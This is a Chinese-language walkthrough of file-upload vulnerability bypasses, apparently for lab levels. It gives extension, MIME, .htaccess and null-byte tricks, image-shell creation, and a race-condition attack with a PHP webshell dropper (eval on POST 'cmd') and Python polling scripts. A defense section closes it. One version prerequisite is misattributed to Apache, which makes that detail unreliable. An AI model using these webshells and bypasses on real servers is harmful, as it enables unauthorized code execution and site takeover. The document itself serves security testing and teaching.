文件上传通关攻略
字数 1764 2025-08-22 12:23:41
文件上传漏洞全面攻防指南
1. 基础测试流程
- 创建一个PHP测试文件,内容包含攻击语句
- 上传该PHP文件到目标服务器
- 访问上传文件的路径
- 使用中国蚁剑等工具进行连接测试
2. 前端校验绕过技术
2.1 文件后缀校验绕过
方法1:Burp Suite拦截修改
- 先上传合法后缀文件(如.png)
- 使用Burp Suite抓包
- 修改文件后缀为.php等可执行格式
方法2:禁用JavaScript
- 直接禁用浏览器JavaScript功能
- 绕过前端校验直接上传恶意文件
2.2 MIME类型校验绕过
方法1:修改Content-Type
- 上传PHP文件
- 修改Content-Type为合法图片类型:
- image/png
- image/jpeg
方法2:后缀名修改
- 上传合法后缀文件(如.png)
- 使用Burp Suite修改文件后缀为.php等可执行格式
3. 黑名单绕过技术
3.1 非常规PHP后缀
在Apache配置允许的情况下,尝试以下后缀:
- php1, php2, php3, php4, php5
- phtml, pht, phps
Apache配置修改:
AddType application/x-httpd-php .php3 .php4 .phtml .phps .php5 .pht
3.2 Windows特性绕过
::$DATA流特性:
- 上传文件名为
test.php::$DATA - 访问时去掉
::$DATA部分
3.3 .htaccess文件攻击
当服务器未过滤.htaccess文件时:
- 上传.htaccess文件,内容示例:
<FilesMatch "xxx.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
或
AddType application/x-httpd-php .jpg
- 上传伪装为图片的PHP文件(如xxx.jpg)
- 访问该"图片"文件将被解析为PHP
3.4 其他黑名单绕过技巧
-
删除末尾点:
- 上传
test.php.(服务器可能自动去除末尾点)
- 上传
-
大小写混合:
- Php, PhP, pHp等变体
-
空格绕过:
- 文件后缀后加空格
test.php
- 文件后缀后加空格
-
双写绕过:
test.pphphp(过滤后变为test.php)
4. 白名单绕过技术
4.1 %00截断(GET)
前提条件:
- Apache版本≤5.2.17
- magic_quotes_gpc=off
操作步骤:
- 上传
s1.php文件 - 在路径参数中添加
%00截断:- 修改路径为
s1.php%00 - 文件名改为
s1.png
- 修改路径为
4.2 十六进制00截断(POST)
操作步骤:
- 在POST请求路径中添加
s1.php+(+号便于后续修改) - 切换到Hex视图,将
+的十六进制2b改为00 - 删除截断后的内容
5. 图片马攻击
5.1 图片马制作方法
使用copy命令:
copy 77.png/b + s1.php pass14.png
手动添加文件头:
- GIF文件头:
GIF89a - PNG文件头:
PNG - JPG文件头:
FF D8 - BMP文件头:
BM
5.2 图片马利用条件
必须结合文件包含漏洞使用:
http://example.com/include.php?file=upload/2320250109221923.gif
5.3 文件内容比较
使用010 Editor等工具:
- 比较上传前后文件差异
- 将攻击代码插入不会被删除的位置
6. 条件竞争攻击
6.1 攻击原理
当服务器采用以下流程时:
- 先保存上传文件
- 再进行后缀检查
- 非法则删除
利用文件保存到删除的时间差进行攻击。
6.2 自动化攻击实现
步骤1:持续上传PHP文件
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["cmd"]);?>');?>
步骤2:Python脚本持续检测
import requests
url = "http://target.com/upload/Tony.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
步骤3:蚁剑连接成功创建的Tony.php
6.3 图片马条件竞争
- 上传包含PHP代码的图片马
- 持续访问包含该图片的文件:
import requests
url = "http://target.com/include.php?file=upload/221.gif"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
7. 其他高级技巧
7.1 文件名与内容分离校验
当服务器仅校验文件名而忽略文件内容时:
- 上传扩展名为.png但内容为PHP代码的文件
- 直接访问该"图片"文件
7.2 move_uploaded_file特性
该函数会忽略文件末尾的/.:
- 上传
test.php/. - 服务器实际保存为
test.php
8. 防御建议
- 使用白名单而非黑名单
- 文件内容严格校验
- 上传目录禁用执行权限
- 随机化上传文件名
- 文件类型检查使用MIME和内容双重验证
- 设置文件大小限制
- 对上传文件进行病毒扫描
- 及时更新服务器软件
9. 参考工具
- Burp Suite - 拦截修改HTTP请求
- 中国蚁剑 - 网站管理工具
- 010 Editor - 二进制文件分析
- Python - 自动化攻击脚本编写
通过掌握这些技术,安全人员可以全面测试文件上传功能的安全性,开发人员则可以据此加固系统防御。